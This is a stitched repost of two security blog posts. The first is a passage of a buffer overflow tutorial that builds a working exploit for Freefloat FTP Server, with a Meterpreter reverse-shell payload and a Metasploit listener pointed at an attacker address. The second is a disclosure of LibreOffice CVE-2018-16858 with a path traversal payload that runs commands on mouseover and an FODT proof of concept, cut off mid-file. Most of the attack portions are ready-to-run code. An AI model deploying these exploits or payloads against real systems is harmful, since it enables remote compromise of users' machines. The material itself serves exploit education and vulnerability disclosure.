"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) bufsize = 1000 buf = 'A'*246 # EIP offset from findmsp buf += 'BBBB' # EIP overwrite buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP buf += bytearray buf += 'D'*(bufsize - len(buf)) print "[+] Connecting..." s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(2000) s.send("USER test\r\n") s.recv(2000) s.send("PASS test\r\n") s.recv(2000) s.send("REST "+buf+"\r\n") s.close() print "[+] Done." Note that we put the byte array exactly 8 bytes behind our EIP overwrite (the four ‘B’s) by adding 8 ‘C’s. This is so the ESP register will be pointing directly to the byte array after the application crashes. We also fill the remaining bytes of our buffer with ’D’s to ensure that the buffer length is consistent with our testing earlier (1000 bytes total). Now lets relaunch Immunity Debugger, run Freefloat FTP Server, and fire our revised exploit. Once the application has crashed, enter the following command in Immunity Debugger: !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C (the address contained on ESP) The above command tells mona.py to compare the memory from the address ‘0x00B3FC2C’ with the content of the bytearray.bin file. This address will likely be different if you are testing on a different operating system such as Windows Vista or Windows 7. As we can see from the ‘Status’ and ‘BadChars’ columns, there is corruption in the first byte due to the character ‘00’ (this is a NULL byte, a common bad character). Lets recreate the byte array excluding this character (0x00) and run the ‘!mona compare’ command again by executing the following command: !mona bytearray -cpb \x00 Now we will update our exploit and remove the ‘\x00’ character from the beginning of byte array. We then repeat the process, restarting Immunity Debugger and Freefloat FTP Server and executing the ‘!mona compare’ command once more: !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C Notice the difference? This time mona.py has detected corruption at 9 bytes due to the ‘0a’ character. Now we will exclude 0x0a from the byte array: !mona bytearray -cpb \x00\x0a Next we will update our exploit and remove the ‘\x0a’ character from the byte array. We then repeat the process, restarting Immunity Debugger and Freefloat FTP Server and executing the ‘!mona compare’ command once more: !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C Once again we’ve identified another bad character. This time it is the ‘0d’ character, so we’ll need to exclude 0x0d from the byte array: !mona bytearray -cpb \x00\x0a\x0d Now we will update our exploit once again and remove the ‘\x0d’ character from the byte array. We then repeat the process, restarting Immunity Debugger and Freefloat FTP Server and executing the ‘!mona compare’ command once again: !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C This time the comparison results window indicates the array is ‘Unmodified’. This means that our byte array in memory is equal to the byte array we transmitted in our exploit, thus indicating we have identified all of the bad characters! We now have everything we need to weaponize our exploit. We just need to ensure that our shellcode, JMP ESP instruction, and any other data we transmit in the exploit does not contain the characters 0x00, 0x0a, or 0x0d. Putting it all together Now that we finally have all the information we need to build a working exploit, lets start putting it all together. We’ll first update our exploit by replacing the byte array with some more useful shellcode. We’re also going to choose a JMP ESP instruction from our list earlier to overwrite EIP. We will take caution as to not use a JMP instruction that contains a bad character (0x00, 0x0a, or 0x0d): import sys from socket import * ip = "172.16.183.129" port = 21 # BadChars = \x00\x0a\x0d shellcode = ("\xcc\xcc\xcc\xcc") # Breakpoint bufsize = 1000 eip = "\xd7\x30\x9d\x7c" # 0x7c9d30d7 - jmp esp [SHELL32.dll] (Little Endian) buf = 'A'*246 # EIP offset from findmsp buf += eip # EIP overwrite buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP buf += shellcode buf += 'D'*(bufsize - len(buf)) print "[+] Connecting..." s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(2000) s.send("USER test\r\n") s.recv(2000) s.send("PASS test\r\n") s.recv(2000) s.send("REST "+buf+"\r\n") s.close() print "[+] Done." In this iteration of our exploit we are use the byte ‘0xcc’ as our shellcode. This is the opcode for the breakpoint instruction. We do this so that once the exploit is launched our process will stop when we get to ESP. This will give us a chance to examine the stack and ensure that everything is working as we expect so far. We are choosing the JMP ESP instruction located at the memory address 0x7c9d30d7 to overwrite EIP. You may be wondering why it is entered in backwards in our exploit. The reason for this is because x86 architecture stores values in memory using Little Endian. This means the memory address has to be reversed byte by byte, in this case 0x7c9d30d7 will be converted to \xd7\x30\x9d\x7c. Now lets fire up Immunity Debugger, launch Freefloat FTP Server, and execute our exploit again: You should notice the application did not crash this time! It actually hit one of our breakpoints and paused the debugger for us. In the above screenshot we can see execution has stopped at the four breakpoint opcodes on the stack just as we expected. This means we are successfully controlling the flow of execution, we just need to replace our current shellcode with the payload we will generate next! Generating our final payload We’ve come so far, we just need to use what we’ve built to get a shell on our target host. To do this we will utilize the Metasploit Framework to generate a Meterpreter reverse shell payload. This will act as our final shellcode. We will then catch this reverse shell on our Kali Linux machine, and through this we will have compromised the remote host with our exploit! Metasploit contains a handy utility called ‘msfvenom’ which we will use to generate our shellcode. We must make sure to tell msfvenom to exclude the bad characters we identified earlier, or our exploit will not work. When we generate shellcode encoded to avoid bad characters, the payload must contain a routine to decode the payload in memory. Msfvenom will handle this for us, however it does come with a catch. The decoding routine will shift the stack around on us, so we will need to move ESP to a location above our shellcode in memory. First, lets go ahead and generate our shellcode payload in Kali Linux by using the following command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.183.131 LPORT=443 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c You should see the output below: Next we need to ensure that ESP is not pointing to the shellcode when the decoder routine is executed. We will do this by adding an instruction which will decrement ESP. To obtain the opcodes that represent the instruction, we will use another tool from the Metasploit Framework, ‘metasm_shell.rb’. Execute the following commands on Kali Linux: cd /usr/share/metasploit-framework/tools/exploit/ ./metasm_shell.rb The ‘metasm_shell.rb’ script will give us an interactive prompt where we can enter CPU instructions and get the appropriate opcodes. Since we want to decrement ESP, we will try the following command: metasm > sub esp,240h "\x81\xec\x40\x02\x00\x00" Uh oh, we’ve hit a snag. Notice that the opcode we got contains one of our bad characters (\x00). This would break our exploit. Lets see if we can find another instruction that will achieve the same result, but hopefully not result in opcode with bad characters. Instead of subtracting from ESP, lets try to add a negative number to it and see what happens: metasm > add esp,-240h "\x81\xc4\xc0\xfd\xff\xff" Excellent, no bad characters this time! We can now exit metasm and finish building our exploit using: metasm > quit The Final Exploit We are finally ready to build a weaponized exploit. Lets update the exploit to include the shellcode we’ve generated with ‘msfvenom’, and add the opcodes we got from ‘metasm_shell.rb’ to decrement ESP. This will complete the final exploit: import sys from socket import * ip = "172.16.183.129" port = 21 # Windows reverse shell shellcode = ( "\xb8\x18\xae\xa3\x93\xd9\xeb\xd9\x74\x24\xf4\x5f\x33\xc9\xb1" "\x56\x31\x47\x13\x83\xef\xfc\x03\x47\x17\x4c\x56\x6f\xcf\x12" "\x99\x90\x0f\x73\x13\x75\x3e\xb3\x47\xfd\x10\x03\x03\x53\x9c" "\xe8\x41\x40\x17\x9c\x4d\x67\x90\x2b\xa8\x46\x21\x07\x88\xc9" "\xa1\x5a\xdd\x29\x98\x94\x10\x2b\xdd\xc9\xd9\x79\xb6\x86\x4c" "\x6e\xb3\xd3\x4c\x05\x8f\xf2\xd4\xfa\x47\xf4\xf5\xac\xdc\xaf" "\xd5\x4f\x31\xc4\x5f\x48\x56\xe1\x16\xe3\xac\x9d\xa8\x25\xfd" "\x5e\x06\x08\x32\xad\x56\x4c\xf4\x4e\x2d\xa4\x07\xf2\x36\x73" "\x7a\x28\xb2\x60\xdc\xbb\x64\x4d\xdd\x68\xf2\x06\xd1\xc5\x70" "\x40\xf5\xd8\x55\xfa\x01\x50\x58\x2d\x80\x22\x7f\xe9\xc9\xf1" "\x1e\xa8\xb7\x54\x1e\xaa\x18\x08\xba\xa0\xb4\x5d\xb7\xea\xd0" "\x92\xfa\x14\x20\xbd\x8d\x67\x12\x62\x26\xe0\x1e\xeb\xe0\xf7" "\x17\xfb\x12\x27\x9f\x6c\xed\xc8\xdf\xa5\x2a\x9c\x8f\xdd\x9b" "\x9d\x44\x1e\x23\x48\xf0\x14\xb3\xdf\x14\x9e\xc0\x48\x16\xe0" "\xc7\x33\x9f\x06\x97\x13\xcf\x96\x58\xc4\xaf\x46\x31\x0e\x20" "\xb8\x21\x31\xeb\xd1\xc8\xde\x45\x89\x64\x46\xcc\x41\x14\x87" "\xdb\x2f\x16\x03\xe9\xd0\xd9\xe4\x98\xc2\x0e\x93\x62\x1b\xcf" "\x36\x62\x71\xcb\x90\x35\xed\xd1\xc5\x71\xb2\x2a\x20\x02\xb5" "\xd5\xb5\x32\xcd\xe0\x23\x7a\xb9\x0c\xa4\x7a\x39\x5b\xae\x7a" "\x51\x3b\x8a\x29\x44\x44\x07\x5e\xd5\xd1\xa8\x36\x89\x72\xc1" "\xb4\xf4\xb5\x4e\x47\xd3\xc5\x89\xb7\xa1\xe1\x31\xdf\x59\xb2" "\xc1\x1f\x30\x32\x92\x77\xcf\x1d\x1d\xb7\x30\xb4\x76\xdf\xbb" "\x59\x34\x7e\xbb\x73\x98\xde\xbc\x70\x01\xd1\xc7\xf9\xb6\x12" "\x38\x10\xd3\x13\x38\x1c\xe5\x28\xee\x25\x93\x6f\x32\x12\xac" "\xda\x17\x33\x27\x24\x0b\x43\x62" ) bufsize = 1000 eip = "\xd7\x30\x9d\x7c" # 0x7c9d30d7 - jmp esp [SHELL32.dll] (Little endian) move_esp = "\x81\xc4\xc0\xfd\xff\xff" # add esp,-240h buf = 'A'*246 # EIP offset from findmsp buf += eip # EIP overwrite buf += move_esp buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP buf += shellcode buf += 'D'*(bufsize - len(buf)) print "[+] Connecting..." s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(2000) s.send("USER test\r\n") s.recv(2000) s.send("PASS test\r\n") s.recv(2000) s.send("REST "+buf+"\r\n") s.close() print "[+] Done." Now we will start up Metasploit on our Kali linux machine with the following command: msfconsole Once it loads we will configure a listener to wait for our reverse shell. Execute the following commands in the Metasploit console: use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 172.16.183.131 set LPORT 443 exploit You should see the output below: Finally we ready to test our exploit. Launch Freefloat FTP Server once again, and fire our final exploit. If all goes well, we should receive a Windows command shell on our Metasploit listener. If it worked, congratulations! You have just successfully exploited a buffer overflow vulnerability and obtained and interactive shell on the target! Sursa: https://blog.own.sh/introduction-to-network-protocol-fuzzing-buffer-overflow-exploitation/

Friday, February 1, 2019 Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way. Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters) Tested Operating Systems: Windows + Linux (both affected) The feature I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it): I choosed to use the onmouseover event and the python sample installed with LibreOffice. After assigning this script (or event as it is called in the LibreOffice world) and saving this file, I was able to have a look at the created file structure: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/> This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py The file contains a createTable function. So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog. Important side note: LibreOffice ships with its own python interpreter, so there is no need that python is actually installed The Bug Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/> I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor! To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped. That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document. Exploitation To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler: "LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension." If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header. The solution For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch): <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&amp;location=share" xlink:type="simple"/> As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code: File: C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py Code: def tempfilepager(text, cmd): """Page through text by invoking a program on a temporary file.""" import tempfile filename = tempfile.mktemp() with open(filename, 'w', errors='backslashreplace') as file: file.write(text) try: os.system(cmd + ' "' + filename + '"') finally: os.unlink(filename) The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/> Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload: Reporting the bug Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast. Timeline: 18.10.2018 - reported the bug 30.10.2018 - bug was fixed and added to daily builds 14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish 01.02.2019 - Blogpost published The path traversal is fixed in (I just tested these versions): Libreoffice: 6.1.4.2 Libreoffice: 6.0.7 Vulnerable: Openoffice: 4.1.6 (latest version) I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system. To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py) Additional note As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types. It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed) Proof-of-concept - Copy&Paste and save it with an .fodt extension! Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file. <?xml version="1.0" encoding="UTF-8"?> <office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text"> <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta> <office:settings> <config:config-item-set config:name="ooo:view-settings"> <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item> <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item> <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item> <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item> <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item> <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item> <config:config-item-map-indexed config:name="Views"> <config:config-item-map-entry> <config:config-item config:name="ViewId" config:type="string">view2</config:config-item> <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item> <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item> <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item> <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item> <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item> <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item> <config:config-item config:name="ZoomType" config:type="short">0</config:config-item> <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item> <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item> <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item> <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item> <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item> </config:config-item-map-entry> </config:config-item-map-indexed> </config:config-item-set> <config:config-item-set config:name="ooo:configuration-settings"> <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item> <config:config-item config:name="PrinterName" config:type="string"/> <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/> <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/> <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item> <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item> <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item> <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item> <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item> <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item> <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item> <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/> <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item> <config:config-item config:name="PrinterSetup" config:type="base64Binary"/> <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item> <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item> <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item> <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item> <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item> <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item> <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item> <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item> <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item> <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item> <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item> <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item> <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item> <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item> <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item> <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item> <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item> <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item> <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item> <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item> <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/> <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item> <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item> <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item> <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item> <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item> <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item> <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item> <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item> <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item> <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item> <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item> <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item> <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item> <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item> <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item> <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item> <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item> <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item> <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item> <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item> <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item> <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item> <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item> <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item> <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item> <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintFaxName" config:type="string"/> <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item> </config:config-item-set> </office:settings> <office:scripts> <office:script script:language="ooo:Basic"> <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink"> <ooo:library-embedded ooo:name="Standard"/> </ooo:libraries> </office:script> </office:scripts> <office:font-face-decls> <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/> <style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/> <style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/> <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/> <style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/> <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/> </office:font-face-decls> <office:styles> <style:default-style style:family="graphic"> <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" 